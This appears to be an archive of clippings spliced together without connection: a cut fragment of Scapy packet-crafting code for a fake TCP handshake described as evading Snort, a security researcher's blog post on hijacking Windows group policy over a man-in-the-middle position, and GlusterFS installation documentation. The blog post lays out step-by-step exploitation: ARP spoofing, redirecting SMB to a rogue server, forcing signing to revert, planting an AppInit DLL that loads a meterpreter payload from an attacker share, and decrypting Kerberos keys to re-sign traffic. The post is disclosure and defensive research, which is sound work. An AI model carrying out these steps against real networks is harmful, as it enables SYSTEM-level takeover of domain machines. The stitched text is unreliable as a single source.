p = iplayer/TCP\(seq=self.seq, ack=self.ack, sport=self.dstPort,
dport=self.srcPort, flags="A"\)  
sendp\(p\)

**Attach the payload**  
p = iplayer/TCP\(seq=self.seq, ack=self.ack, sport=self.dstPort,
dport=self.srcPort, flags="A"\)/payload

sendp\(p\)

=========

The result looks like this:

<img src='img/Temp2_5418.png' />

The client will still request the page, and the server responds as normal.
Tested against snort, the result was not the same as the previously hand-
crafted **fake.pcap**. Snort decided that this non-crafted 4-way handshake was
"established,to\_server" as it should be detected.

However, this pcap was submitted to our friends over at **JsUnpack** since the
detection is based on who initially sent the SYN packet. In theory, the web
server should not reply with a SYN but it is possible to set up with very
little code.

The sample script can be downloaded **here**

Example:  
python proxy.py index.html

# How to own any windows network with group policy hijacking attacks - mwrlabs

**Created:**| _4/7/2015 3:22:18 PM_  
---|---  
**Updated:**| _4/7/2015 3:22:18 PM_  
**Author:**| __  
**Tags:**| _pentest windows environment_  
  
  

## How to own any windows network with group policy hijacking attacks

_Author: Luke Jennings_

For those of you that didn’t make it to SyScan ‘15 last week, this is a blog
post version of the presentation I gave about the vulnerabilities I found in
group policy that resulted in Microsoft releasing MS15-011 and MS15-014 in
February. These bulletins resolve issues in Microsoft’s group policy engine
that allow remote code execution at SYSTEM level if an attacker can intercept
network traffic from a domain-joined system.

The full process leading up to their discovery, along with exploitation
details and accompanying video demonstrations, will be given. Additionally,
the new security controls introduced by Microsoft will be discussed to assess
how effective they are, show what attack scenarios they mitigate and which
ones they do not. Finally, some additional guidance will be given on other
mitigating controls that can provide additional protection will be discussed.

### How does group policy work?

Group policy is Microsoft’s core infrastructure for managing the configuration
of both users and computers in an enterprise windows forest. Configuration
settings can be grouped into group policy objects \(GPOs\) and these can be
linked to various physical and logical groupings of computers and/or users.
Alongside Microsoft Office, it is arguably the defining reason that Microsoft
still dominate the business endpoint market. Some of its key selling points
are summarised below:

  * Allows highly flexible, centralised machine and user configuration over global enterprise networks
  * Smart redundancy, designed to handle many sites/offices distributed over a global WAN
  * It is key to enforcing security critical configuration settings across an enterprise

In a windows domain, there are domain members and domain controllers. Domain
controllers store all GPOs and domain members communicate with domain
controllers in order to determine which GPOs are relevant to them and to fetch
the GPOs themselves. At a high level, there are four key services that allow
this to happen:

  1. **DNS** – Used to find the nearest domain controller
  2. **RPC** – Used to establish a secure channel with the domain controller make various RPC calls
  3. **LDAP** – Used to query the high level group policy configuration and which GPOs should be apply
  4. **SMB** – Used to get the full GPO content for each applicable GPO

There are a huge number of configurable settings that can be set via group
policy but the wealth of these end up as enforced registry changes on the
endpoint. However, some notable exceptions to this are those that involve user
accounts or group membership changes and file creation/modification. Different
settings fall within different client side extensions \(CSEs\) and these CSEs
will only be enforced on the client side if it has been indicated via LDAP
that the relevant CSE is applicable for any given GPO. There are a large
number of CSEs but some examples include security settings, registry settings,
user accounts/groups, internet explorer zones etc.

### How can it be attacked?

First we will cover the situation prior to February 2015 \(when MS15-011 and
MS15-014 were released in response to these attacks\) and look at what attack
scenarios apply and how they could be exploited. The first important point to
understand is that the sheer control group policy affords over system
configuration means that if you can control group policy then you effectively
have full SYSTEM equivalent control over the systems under it. Beyond that, we
need to understand that each of the four key steps outlined earlier need to
complete successfully in turn for the next one to begin. For example, if the
RPC stage fails then we won’t reach the LDAP stage and so any attacks focused
on later stages need to ensure the earlier stages complete.

The focus of this post is on the latter two protocol stages of the group
policy update process, LDAP and SMB. These are the most interesting from a
security perspective because LDAP is used to specify which GPOs and CSEs
should apply to a host and SMB is used to fetch the individual GPOs including
all the detailed configuration changes they contain. Control over either of
these stages would give us significant control over the domain member that is
fetching group policy.

So what security controls are in place to protect LDAP and SMB communications?
Well the key concern here is that the domain member verifies the identity of
the domain controller to ensure it is a getting its group policy from a
legitimate source and that integrity protection is in place to ensure the data
can not be tampered with in transit. These are principally handled via
authentication within the protocols plus integrity protection in the form of
LDAP signing and SMB signing. We will focus on SMB from this point forward as
this would give the most flexible control over individual configuration
options due to it being used to fetch the individual GPOs themselves.

There are configurable settings in group policy for controlling security
critical options related to SMB signing. An excerpt of the “default domain
controllers” policy is given below:

<img src='img/Temp2_4118.png' width='640' height='103' alt='dc-policy' />

As you can see, the default behaviour for domain controllers is to require SMB
signing. This is a good control to have in place as we would not want SMB
connections pulling down GPO information from domain controllers without
integrity protection in place. This was alluded to in one of Microsoft’s
technet articles from back in 2010 with the following quote:

_“SMB signing is available in all currently supported versions of Windows, but
it’s only enabled by default on Domain Controllers. This is recommended for
Domain Controllers because SMB is the protocol used by clients to download
Group Policy information. SMB signing provides a way to ensure that the client
is receiving genuine Group Policy.”_

However, that does not paint the full picture as it tells us nothing about the
client. The relevant group policy options for specifying SMB signing on the
client side are not specified in the “default domain policy”, which is applied
to all domain members. Consequently, we need to look at what the default local
configuration is. An excerpt of this showing the relevant settings is given
below:

<img src='img/Temp2_4114.png' width='640' height='170' alt='default policy' />

As can be seen, SMB signing is not set to be a requirement on the client side.
This means that domain members acting as an SMB client will negotiate SMB
signing but will not require it if it is not supported.

### Defeating SMB Server Signing

If the domain member does not require SMB signing but the domain controller
requires SMB signing then how do we attack it? If we were in a position
intercepting network traffic then we could either allow signing to be
negotiated and then the connection would go on fine but be protected or we
could prevent signing from being negotiated but the server would terminate the
connection. However, we can avoid the domain controller SMB service altogether
to eliminate the problem. The key points outlining this are given below:

  1. We allow DNS, RPC and LDAP traffic to all pass through from the domain member to the domain controller unhindered
  2. We redirect SMB traffic to our own malicious SMB server via NATing rules or similar
  3. The “real” SMB service on the domain controller is never involved so we can force SMB signing to be disabled on our own malicious SMB server
  4. The domain member SMB client happily negotiates no signing and carries on with unprotected SMB communications talking to a malicious server

The diagram below gives an idea of how this attack would work in practice
using ARP spoofing as the example traffic interception technique:

<img src='img/Temp2_4116.png' width='640' height='388' alt='arp-spoofing' />

### Getting a shell

What we have discussed so far is nice in theory but how do we practically
exploit it to get a shell on the target system in practice? We could define
login scripts, we could define new user accounts or abuse other settings to
gain control. However, we need to remember that only the CSEs indicated to be
active for a given GPO during the LDAP phase will be applied. The CSE for user
management may not be in use, login scripts may not be in use and may not get
us privileged access anyway etc and so our ideal exploitation technique would
depend only on CSEs in use by default and on options that would get us SYSTEM-
level access.

It turns out that the security settings CSE is applied by default and allows
us to control arbitrary registry settings. If we make use of the GPO section
for this and define our own custom registry settings then we have full control
over the registry on the domain member, which is very powerful. There are
various ways we could use this to get code execution such as defining “Run”
keys, creating new services, defining new authentication providers etc.
However, during my testing I settled on AppInit DLLs for a proof of concept.

AppInit DLLs are DLLs that are loaded into any process when it starts. My
reason for choosing these was that no matter what, even on an inactive,
untouched server that does not reboot, sooner or later a new process will be
created in the background and load our DLL and there are also likely ways we
can trigger a new process easily anyway. In this case, we can specify a
meterpreter DLL payload using a UNC path on an SMB server we control and then
next time a new process starts we will get a shell. If the system is running
RDP then we can use rdesktop to connect, which will spawn a new winlogon.exe
process as SYSTEM, loading our DLL payload and giving us a meterpreter shell
as SYSTEM instantly. We will see a video of this exploit in action later but
for now we will move on to considering a more secure configuration.

### \(Breaking\) Secure Configuration

So at this point we have seen that the default configuration of a domain is
vulnerable to man-in-the-middle \(MITM\) attacks against SMB when domain
members fetch group policy. This is the basis of what eventually became
MS15-011. However, this is due to a poor default configuration that can be
resolved. What happens when you upgrade the configuration such that SMB
signing is required by the clients?

In this instance, I found a direct security control bypass vulnerability. I
found that it was possible to deliberately corrupt the SMB communications when
the security settings were being fetched, such that SMB signing would fail and
the connection would be terminated. Now intuition would say that due to the
failed application of group policy, the domain member would just remain at its
existing configuration. However, it turned out that this was not the case and
that as a product of the failure the group policy engine on the domain member
would revert back to default configuration. Since the default local
configuration does not require SMB signing, the domain member would revert
itself back to an insecure state and then the original attack would apply as a
second stage on the next group policy refresh. This is what became MS15-014.

### Hardened Configuration Exploit Process

Now we will summarise the full exploit process for exploiting a hardened
environment, along with an exploit video to demonstrate it:

  1. ARP spoof domain member and domain controller
  2. Allow all protocols to pass through fine \(DNS, RPC, LDAP and SMB\)
  3. Wait until the security settings response comes back via SMB
  4. Corrupt the response to cause the domain member SMB signing requirement to revert
  5. Modifying our NAT rules to redirect future SMB traffic to our own malicious SMB server
  6. Domain member will then fetch security settings containing our malicious AppInit DLL settings
  7. We make an unauthenticated RDP connection to the domain member to trigger a new SYSTEM winlogon.exe process
  8. Our handler receives a new meterpreter shell running as SYSTEM

The following video demonstrates this exploit in action exploiting both
MS15-011 and MS15-014 in a staged attack to compromise hardened environments:

Practically Exploiting MS15-014 and MS15-011

### User vs Machine Attacks

Group policy contains separate settings for computers and users. Computer
settings will always apply to the computer itself but user settings will apply
depending on the user that logs on. Until now we have only really been
considering computer settings.

After discovering the previous two attacks, I considered what would be
possible if they were fixed by Microsoft and that a network was configured
securely and so I began looking at SMB signing in more detail. In the case of
NTLM authentication, SMB signing uses a key derived from the password of the
user account used for authentication. The interesting finding I made here was
that, whilst the machine settings use the machine account to access SMB, the
user settings actually use the user’s account.

Machine accounts by default use secure, randomly generated passwords and so we
should not expect to be able to acquire or crack this password without already
having gained SYSTEM access in the first place. This makes it a sensible
account to be used as the basis of fetching group policy updates and should
make the SMB signing mechanism strong. However, an ordinary user account may
have a weak password or we may have discovered it through other means e.g.
social engineering. In a privilege escalation scenario, it may even be our own
account that is a low privileged domain account without any administrative
control over domain members that it can login to. The key point here though is
that if we know the password of a user logging into a system that we can
intercept network traffic for then we can calculate SMB signatures correctly
when user settings are fetched and so we can control the user settings part of
group policy applied when they login.

The question then becomes whether this poses a problem or not. What is the
real impact of controlling user settings for group policy? Well in order to
exploit the issue we need to know the user’s password and so intuition would
say it would not represent an issue as controlling a user’s own configuration
is redundant when we already have access to everything they do anyway.
However, it turns out that despite being “user” settings, they are actually a
lot more powerful than that. There are CSEs for them that include the ability
to add new user accounts or define arbitrary registry keys including within
the SYSTEM hive and therefore controlling user settings can still be used to
gain SYSTEM access on a domain member. The implication of this is that if you
know the password for a low privileged user account logging in to a system
that you can intercept network traffic for then you can use that to gain
SYSTEM privileges.

There are probably two primary scenarios that this attack would apply to:

  1. You have a low privileged account and can use it to login interactively to physical workstations or virtual desktop farms that you can intercept network traffic for. In this instance you could escalate your privileges on them to SYSTEM.
  2. You are intercepting traffic on a large subnet full of laptop/desktop users and you know the passwords for a small number of uninteresting, low privileged users. However, you can use this knowledge to get full SYSTEM access to their endpoints, which may prove much more valuable to you.

The following video demonstrates exploitation of this issue:

Exploiting Group Policy “User Settings” to Escalate to SYSTEM using a MITM
attack – Pre-MS15-011

### Microsoft’s Response – MS15-011 and MS15-014

In February 2015, Microsoft introduced two security bulletins to address the
vulnerabilities I reported. MS15-011 was not a bug fix but instead introduced
an entire new configurable security control set known as “hardened UNC paths”,
designed explicitly to thwart these types of attacks and more. They provide
much more flexible and secure configuration over what happens when a UNC path
is accessed than could be achieved previously. It is now possible to specify
on a per-UNC path basis \(with optional wildcards\) what the security
requirements for the connection are. Windows will then ensure it picks a
transport mechanism that can meet those and ensures they are applied.

Microsoft then give two recommended rules to configure as a minimum in a
domain environment to protect against the attacks outlined before. These are
shown below and essentially state that if the NETLOGON or SYSVOL shares are
accessed on any domain controller that the OS should ensure it uses a
transport and authentication method that allows mutual authentication and
integrity protection and that those controls are enforced.

<img src='img/Temp2_4115.png' width='471' height='102' alt='hardened-unc-
paths' />

This is actually further than I expected Microsoft to go and is a welcome step
forward as they could have other potentially useful applications too. The
Microsoft recommended settings shown above will also effectively disallow NTLM
as an authentication mechanism for group policy updates as it does not
strictly allow mutual authentication and so it will enforce kerberos use in
general. This new security control when combined with the configuration above
successfully protects against the first attack we outlined.

In contrast, MS15-014 was a straight bug fix. There are no new security
controls to configure here, it simply prevents the group policy processing
engine from reverting back to the default local configuration when it
encounters a failure during the retrieval of the security settings, which is
intended to prevent the second attack we considered. I tested my original
exploit against the patched version and sure enough the SMB signing settings
remained in a secure state and so it seems this patch is effective.

### What happened to “User settings” post-patch?

Microsoft are certainly aware of this exploit scenario as it was one of the
three issues I originally reported but it was also the one I most felt may end
up being “by design”. Nothing in the security bulletins for MS15-011 or
MS15-014 specifically mention this issue and it is not immediately obvious how
hardened UNC paths would resolve this issue. My testing revealed that the user
account was still used for authentication when fetching user settings, not the
machine account, meaning the underlying issue is still there. So the question
is does this exploit scenario still apply?

Our previous exploit technique redirected the SMB traffic to our own malicious
SMB server, where we also had a user configured with the same username and
password. The domain member would negotiate SMB signing and use NTLM
authentication and our server would know how to calculate the signature
because it would know the password of the user account, which is used to
derive the signing key. However, with properly configured hardened UNC paths,
the mutual authentication requirement means NTLM will not be used and kerberos
will be enforced. How does this change the scenario?

### Decrypting Kerberos Packets

We won’t be able to use the same exploit technique as before if kerberos is in
use. Our malicious SMB server will not be able to authenticate itself to the
domain member as it will not have the necessary keys to decrypt the service
tickets that the domain member will supply to it. Additionally, the SMB
signing keys are not a simple derivation of the user password when kerberos is
used, they are generated by the SMB server and returned encrypted with the
shared service key between the domain member and SMB server such that the
domain member knows the signing key too. So is this an effective control? To
understand that, we need to consider how a kerberos exchange works. The
following diagram gives a simplified view of the process involved when a
domain member wants to access the SMB service on a domain controller:

<img src='img/Temp2_4117.png' width='640' height='485' alt='kerberos' />

The AS-REP \(step 2\) response contains a session key encrypted with a key
derived from the user’s password. If we are monitoring kerberos packets and
know the user’s password then we can decrypt this. The TGS-REP response \(step
4\) then contains a service key encrypted with the session key from before. If
we have been keeping track of decrypted session keys then we will be able to
decrypt this too. Finally, the AP-REP response \(step 6\) contains a sub key
\(used for SMB signing\) encrypted with the service key from the TGS-REP
response. If we have been monitoring and decrypting all the correct packets
then we should be able to decrypt this sub key too. If we can eventually
derive this sub key then we have everything we need to make arbitrary
modifications to SMB packets and recalculate the signatures. Therefore, it
seems the user settings exploit scenario still applies. To summarise, the
following key steps apply in a post-patch, securely configured hardened UNC
paths world:

  1. We monitor all kerberos exchanges and decrypt all AS-REP packets encrypted with user passwords we know to obtain session keys
  2. We decrypt any TGS-REP packets we can with the session keys we have collected to obtain service keys
  3. We decrypt any AP-REP packets we can with the service keys we have collected
  4. We use the sub keys we have obtained to make malicious changes to group policy information in SMB read responses and dynamically recalculate the SMB signatures on the fly
  5. We get our SYSTEM shells

The following video demonstrates this issue being exploited on a patched
system with securely configured hardened UNC paths.

Exploiting Group Policy “User Settings” to Escalate to SYSTEM using a MITM
attack – Post-M15-011

One important caveat to mention at this stage is that user settings are a bit
less flexible than computer settings. Earlier we discussed how we used the
security settings CSE for exploitation as this CSE would always apply no
matter what was configured for a GPO and are forcibly re-applied periodically
too. With user settings, we don’t have the same level of power by default
unless certain more interesting CSEs are configured. In the exploit video
above I had specifically configured a registry setting in the user settings
GPO of the default domain policy such that the CSE for that applied and then
my exploit modified the contents of the resulting XML file that was retrieved
in order to inject a malicious AppInit DLL setting. In the default case
though, this CSE would not be configured.

However, something we have not looked at in much detail yet is LDAP. I
mentioned previously that it is used to obtain the GPOs that should apply to a
system or user \(uniquely identified by GUIDs\) along with which CSEs are
enabled for them and then SMB is used to retrieve the detailed GPO settings
for each of these. When user settings are fetched, the user account \(rather
than the machine account\) is also used to authenticate to LDAP using
kerberos. Consequently, a very similar process to before is conducted to
negotiate a signing key for LDAP. By monitoring and decrypting kerberos
packets, we should be able to derive this key in the same way and make
arbitrary changes to the LDAP packets. This would mean that we could specify
to enable whatever CSEs we are interested in using for our exploit and as such
ensure that we can exploit this issue in the default case. Whilst I haven’t
got as far as writing the code to verify this 100%, there is no reason why
this should not work in exactly the same way as the SMB dynamic signature
recalculation demonstrated practically in the video above.

### Alternative security controls

All of these attacks are MITM attacks and so generally rely upon traffic
interception techniques in order to conduct them. The most common and viable
of these are layer 2 based, such as ARP spoofing, which is what was used in
all exploit demonstrations above. There are a range of standard prevention and
detection techniques for the various traffic interception attacks out there
that are well worth investigating to provide additional protection against the
attacks outlined in this blog post, as well as a range of other attacks that
are dependent on traffic interception.

### Conclusion

This concludes a pretty long and complicated blog post but I hope it has been
interesting. Below, I’ll summarise some of the key take home points from all
of this:

  * Prior to February 2015, all enterprise windows networks were vulnerable to MITM attacks that would allow an unauthenticated attacker to gain SYSTEM privileges on any domain member. All versions of windows from XP/2003 to 8.1/2012R2 were vulnerable.
  * MS15-011 and MS15-014 introduced new security features and bug fixes to protect against these attacks in the form of a new security control called “hardened UNC paths”.
  * Microsoft have no intention of fixing XP/2003 and so these OS versions remain vulnerable.
  * Vista/2008 onwards are still vulnerable in their default state as hardened UNC paths are not default. You need to configure them explicitly to Microsoft’s recommended configuration and apply it across your entire estate using group policy.
  * Even on Vista/2008 onwards, user settings group policy can be exploited if you know a user’s password to conduct a form of privilege escalation to gain SYSTEM on domain members. Microsoft have shown no intention thus far of providing a control to protect against this.
  * All exploit scenarios rely on MITM attacks and so existing controls to prevent and detect traffic interception attacks are a good way to provide additional protection against these issues. This is particularly important for XP/2003, which Microsoft have not patched, or if you are particularly concerned about the user settings related privilege escalation style attacks, for which Microsoft have provided no direct protection.

  

# Storage Server Installation and Configuration - GlusterDocumentation

**Created:**| _10/24/2010 6:36:37 PM_  
---|---  
**Updated:**| _10/26/2010 7:32:17 AM_  
**Author:**| __  
**Tags:**| _programming Distributed systems projects Filesystem rsyncfs_  
  
**  
**

# Storage Server Installation and Configuration

## Contents

  * 1 Installing GlusterFS on the Server
    * 1.1 Technical Requirements
      * 1.1.1 Hardware Requirements
      * 1.1.2 Networking Requirements
      * 1.1.3 Operating System Requirements
    * 1.2 File Systems
    * 1.3 Preparing to Install GlusterFS on the Server
    * 1.4 Downloading GlusterFS
    * 1.5 Installing on GNU/Linux
      * 1.5.1 Red Hat Package Manager \(RPM\) based Distributions
      * 1.5.2 Debian-based Distributions
    * 1.6 Installing from Source
      * 1.6.1 Installing on Mac OS X
      * 1.6.2 Installing on Solaris
  * 2 Configuring GlusterFS
    * 2.1 Configuring Volumes
      * 2.1.1 Configuring Distributed Volumes
      * 2.1.2 Configuring Replicated Volumes
      * 2.1.3 Configuring Volumes over InfiniBand
  * 3 Starting GlusterFS Service
    * 3.1 Red Hat based
    * 3.2 Debian GNU/Linux, Ubuntu based
    * 3.3 Generic Approach
  * 4 Optional Configuration
    * 4.1 Add NFSv3 Protocol
      * 4.1.1 Download
      * 4.1.2 Install
      * 4.1.3 Starting the unfs3 Server
    * 4.2 Add CIFS protocol
  * 5 Next Steps

  
---  
\[edit\]

# Installing GlusterFS on the Server

\[edit\]

## Technical Requirements

\[edit\]

### Hardware Requirements

GlusterFS is supported on most industry standard \(x86-64\) hardware with
direct-attached-storage, RAID and FC/Infiniband/iSCSI SAN disk backends with
SATA/SAS/FC disks.

\[edit\]

### Networking Requirements

GlusterFS supports Gigabit Ethernet, 10 Gigabit Ethernet, and InfiniBand.

\[edit\]

### Operating System Requirements

OS | Architecture | Modes  
---|---|---  
CentOS 5.x | x86\_64 | Client & Server  
RedHat EL 5.x | x86\_64 | Client & Server  
Solaris 10 | x86\_64 | Server only  
Ubuntu 8.04.x LTS | x86\_64 | Client & Server  
Ubuntu 10.04 LTS | x86\_64 | Client & Server  
Fedora 11 | x86\_64 | Client & Server  
\[edit\]

## File Systems

We recommend Ext3 or Ext4. Any other POSIX compliant disk file system such as
ZFS, ReiserFS, btrfs, or JFS may also work, but have not been tested widely.
XFS has known performance problems with their extended attributes
implementation, if you use XFS your Gluster performance will be cut by at
least 60%.

\[edit\]

## Preparing to Install GlusterFS on the Server

This section describes how to locate and install the latest version of
GlusterFS for your operating system.

\[edit\]

## Downloading GlusterFS

To download GlusterFS, go to:

  * Official FTP site

Select the package or tarball for your operating system.

\[edit\]

## Installing on GNU/Linux

Depending on your Linux distribution, use one of the following methods.

\[edit\]

### Red Hat Package Manager \(RPM\) based Distributions

To install the GlusterFS package on Fedora, OpenSUSE, Red Hat, or CentOS Linux
distributions, run the following commands:

[code]

    bash# rpm -ivh glusterfs-*-_[VERSION]_.rpm
    bash# glusterfs --version
    
    
[/code]

The build version information displays, for example:

[code]

    glusterfs 2.0.3 built on Jul  7 2009 12:22:40
    Repository revision: 9ec22fd9fc28684b7e2093b4c67d449c7f021623
    Copyright (c) 2006-2009 Gluster Inc. <http://www.gluster.com>
    
    
[/code]

You can also build a binary RPM from source using the following command on Red
Hat Linux:

[code]

    bash# rpmbuild -ta glusterfs-_[VERSION]_.tar.gz
    
    
[/code]

\[edit\]

### Debian-based Distributions

You can get GlusterFS from www.debian.org in the testing and unstable
repositories. Currently, there are few contributors maintaining the GlusterFS
Debian package. \(You can get the latest package by installing from source.\)

[code]

    bash# apt-get install _glusterfs-*_
    bash# glusterfs --version
    
    
[/code]

The build information is displayed, for example:

[code]

    glusterfs 2.0.3 built on Jul  7 2009 12:22:40
    Repository revision: 9ec22fd9fc28684b7e2093b4c67d449c7f021623
    Copyright (c) 2006-2009 Gluster Inc. <http://www.gluster.com>
    
    
[/code]

\[edit\]

## Installing from Source

\(As of November 2009, the following additional packages are required in order
to build from source. Others may be needed as well, depending on your system:
a Make utility, a C compiler such as gcc, ld, Flex or lex, and bison\)

You can get the source tarball from the ftp repository of the project. To
install the tar file from source, enter the following commands:

[code]

    bash# tar -xzf glusterfs-_version_.tar.gz
    bash# cd glusterfs-_version_
    bash# ./configure --prefix=_ > /dev/null_
    GlusterFS configure summary
    ===========================
    FUSE client        : yes
    Infiniband verbs   : yes
    epoll IO multiplex : yes
    Berkeley-DB        : yes
    libglusterfsclient : yes
    argp-standalone    : no
    
    bash# make && make install
    bash# ldconfig
    bash# glusterfs --version
    
    
[/code]

The build information is displayed, for example:

[code]

    glusterfs 2.0.3 built on Jul  7 2009 12:22:40
    Repository revision: 9ec22fd9fc28684b7e2093b4c67d449c7f021623
    Copyright (c) 2006-2009 Gluster Inc. <http://www.gluster.com>
    
    
[/code]

\[edit\]

### Installing on Mac OS X

Mac OS X users can build from the source tarball without problems, or install
the .dmg images available from the GlusterFS ftp site. After downloading,
click on the .dmg image to get a GlusterFS package.

  * If you are installing the package locally, click to install.
  * If you are installing on a remote machine from a terminal, enter the following commands:

[code]

    bash# hdiutil attach glusterfs-_version_.dmg
    bash# installer -pkg /Volumes/glusterfs-_version_ /glusterfs-_version_.pkg -target /
    bash# hdiutil detach /Volumes/glusterfs-_version_ /
    bash# glusterfs --version
    
    
[/code]

The build information is displayed, for example:

[code]

    glusterfs 2.0.3 built on Jul  7 2009 12:22:40
    Repository revision: 9ec22fd9fc28684b7e2093b4c67d449c7f021623
    Copyright (c) 2006-2009 Gluster Inc. <http://www.gluster.com>
    
    
    
[/code]

Note: For complete installation steps for your version of Mac OS X, read the
README.MacOS file available with the .dmg image.

\[edit\]

### Installing on Solaris

To install GlusterFS for Solaris, perform the following steps:

**Solaris Dependencies:** Following software packages should be installed
before compiling GlusterFS source.

  * SUNWarc - system SUNWarc Lint Libraries \(usr\)
  * SUNWhea - system SUNWhea SunOS Header Files
  * SUNWgcc gcc - The GNU C compiler
  * SUNWbinutils binutils - GNU binutils
  * pkg-get - /opt/csw/bin
  * GNU automake - /opt/csw/bin -- Automake 1.9 works.
  * GNU autoconf - /opt/csw/bin
  * GNU M4 - /opt/csw/bin
  * GNU Bison 2.3 - /opt/csw/bin \(GlusterFS works with this Bison\)
  * GNU Flex 2.5.4 - /opt/csw/bin \(GlusterFS works with this Flex\)

**Notes:** : Flex is provided by SUNWflexlex package, installed
**/usr/sfw/bin** path. GlusterFS is incompatbile with SUNWflexlex. Use GNU
Flex instead. To install GNU Flex:

[code]

    # pkg-get install flex
    
    
[/code]

**Note:** Similarly use GNU make utility and not Solaris make.

**Build Instructions:**

[code]

    # bash
    bash-3.00# export PATH=/opt/csw/bin:/usr/sfw/bin:$PATH
    bash-3.00# gunzip -d glusterfs-VERSION.tar.gz
    bash-3.00# tar -xf glusterfs-VERSION.tar
    bash-3.00# cd glusterfs-VERSION
    bash-3.00# LDFLAGS="-L/opt/csw/lib" ./configure --disable-fuse-client --disable-ibverbs
    bash-3.00# make CFLAGS="-g -O0" LDFLAGS="-L/opt/csw/lib"
    bash-3.00# make install
    bash-3.00# /usr/local/sbin/glusterfs --version
    
    
[/code]

**Working Build Example with Solaris 10 10/09 s10x\_u8wos\_08a X86:**

  * Secure copy sol-10-u8-ga-x86-dvd.iso to system if you don't have a USB or DVD to attach.

lofiadm -a /zpool1/foobar1/sol-10-u8-ga-x86-dvd.iso /dev/lofi/1 mount -F hsfs
-o ro /dev/lofi/1 /vcdrom

cd /mnt/vdcrom/Solaris\_10/Product

cp -r SUNWarc /var/spool/pkg

cp -r SUNWhea /var/spool/pkg

cp -r SUNWgcc /var/spool/pkg

cp -r SUNWbinutils /var/spool/pkg

pkgadd

  

  * ar is also needed, and won't be in your path

PATH=/opt/csw/bin:/usr/sfw/bin:/usr/ccs/bin$PATH export PATH

pkgadd -d http://www.opencsw.org/pkg\_get.pkg

/opt/csw/pkg-get -i automake

[code]

     * automake-1.9.6 is NEEDED
    
    
[/code]

pkg-get install autoconf

pkg-get install gm4

pkg-get install bison

pkg-get install flex

pkg-get install wget

  
cd /install

wget
http://ftp.gluster.com/pub/gluster/glusterfs/3.0/LATEST/glusterfs-3.0.4.tar.gz

gunzip -d glusterfs-3.0.4.tar.gz

tar -xv fglusterfs-3.0.4.tar.gz

cd /install/glusterfs-3.0.4

LDFLAGS="-L/opt/csw/lib" ./configure --disable-fuse-client --disable-ibverbs

  * Source has make hardcoded, just sym link it.

ln -s /usr/sfw/bin/gmake /usr/sfw/bin/make

  * automake 1.11 is odd, and alternatives in Solaris is clunky.
  * rm automake, and sym link 1.9.

rm /opt/csw/bin/automake ln -s /opt/csw/bin/automake-1.9 /opt/csw/bin/automake

make CFLAGS="-g -O0" LDFLAGS="-L/opt/csw/lib"

make install

  
The build information is displayed, for example:

[code]

    glusterfs 2.0.3 built on Jul  7 2009 12:22:40
    Repository revision: 9ec22fd9fc28684b7e2093b4c67d449c7f021623
    Copyright (c) 2006-2009 Gluster Inc. <http://www.gluster.com>
    
    
[/code]

\[edit\]

# Configuring GlusterFS

This section describes how to configure volumes using the **glusterfs-volgen**
command on your server. These volume files are used by the client and the
server.

Before configuring volumes, you need to know about the hardware and business
requirements of your storage cluster. For example:

  * How many servers can you dedicate to storage?
  * Do you have critical data that should be replicated?

If you are not sure of the answers, discuss these issues with your team before
proceeding.

For the reference page of the glusterfs-volgen command, see glusterfs-volgen.

NOTE: This documentation holds good only for "glusterfs-volgen" from 2.0.9 and
3.0.x releases

\[edit\]

## Configuring Volumes

\[edit\]

### Configuring Distributed Volumes

To create a simple distributed volume on multiple servers, follow the
**\--name** argument with the name of the store and the name or IP address of
each host. \(There are four servers in the following example.\)

[code]

    $ glusterfs-volgen --name store1 hostname1:/export/sdb1 hostname2:/export/sdb1 hostname3:/export/sdb1 hostname4:/export/sdb1
    
    
[/code]

This will generate five files, four of which are for the servers and the other
being the client volume file.

[code]

    hostname1-store1-export.vol
    hostname2-store1-export.vol  
    hostname3-store1-export.vol
    hostname4-store1-export.vol
    
    store1-tcp.vol
    
    
[/code]

Here the hostname\*.vol files are the server volume files and store1-tcp.vol
is the client volume file.

If you want your clients to automatically fetch the volume file from the
server, you need to copy the store1-tcp.vol to one of the servers \(for
example, hostname1\) under the name /etc/glusterfs/glusterfs.vol. This will
allow your clients to mount by just doing:

[code]

    # glusterfs --volfile-server=hostname1 /mnt/glusterfs
    
    
[/code]

You can also mount it by doing:

[code]

    # mount -t glusterfs hostname1:6996 /mnt/glusterfs
    
    
[/code]

If you specified a different port \(using -p <port>\) to glusterfs-volgen,
then replace 6996 with that number.

\[edit\]

### Configuring Replicated Volumes

To create distributed replicated volume of multiple servers:

  * Follow the **\--name** argument with the name of the store and the name or IP address of each host. \(There are four servers in the following example.\)
  * Enter **raid 1** for replication.

[code]

    $ glusterfs-volgen --name _repstore1_ --raid 1 hostname1:/export/sdb1 hostname2:/export/sdb1 hostname3:/export/sdb1 hostname4:/export/sdb1
    
    
[/code]

\[edit\]

### Configuring Volumes over InfiniBand

To create a distributed volume over InfiniBand with 2GB client caching:

[code]

    $ glusterfs-volgen --name ibstore1 --transport ib-verbs hostname1:/export/sdb1 hostname2:/export/sdb1 hostname3:/export/sdb1 hostname4:/export/sdb1
    
    
[/code]

To create a striped volume over InfiniBand:

[code]

    $ glusterfs-volgen --name ibstripe1 --transport ib-verbs --raid 0 hostname1:/export/sdb1 hostname2:/export/sdb1 hostname3:/export/sdb1 hostname4:/export/sdb1
    
    
[/code]

\[edit\]

# Starting GlusterFS Service

To start or stop GlusterFS filesystem service manually,

[code]

    # /etc/init.d/glusterfsd [start|stop]
    
    
[/code]

NOTE: Now after generating volume files it would created as
<hostname>-<volume-name>-export.vol rename this to glusterfsd.vol if it needs
to be started with init scripts.

To automatically start GlusterFS service every time when system boots follow
the procedure below.

\[edit\]

### Red Hat based

From the command line, type

[code]

    # chkconfig --add glusterfsd
    # chkconfig --levels 2345 glusterfsd on
    
    
[/code]

To interactively configure run level service, you can also use a curses based
_ntsysv_ tool.

\[edit\]

### Debian GNU/Linux, Ubuntu based

Use  _update-rc.d_ or curses based  _rcconf_ interactive tool

\[edit\]

### Generic Approach

Make an entry in your  _/etc/rc.local_ file.

[code]

    # echo "glusterfsd" >> /etc/rc.local
    
    
[/code]

\[edit\]

# Optional Configuration

The following sections on unfs and CIFS are optional, depending on your
implementation.

\[edit\]

## Add NFSv3 Protocol

This procedure adds NFSv3 protocol on top of GlusterFS using an enhanced
version of UNFSv3 server. It has bug fixes and performance enhancements.

\[edit\]

### Download

**Red Hat Enterprise Linux 5.x \(x86\_64\)** :  
http://ftp.gluster.com/pub/gluster/glusterfs/misc/unfs3/unfs3-0.9.23gluster1-1.el5.rpm

**Source** :  
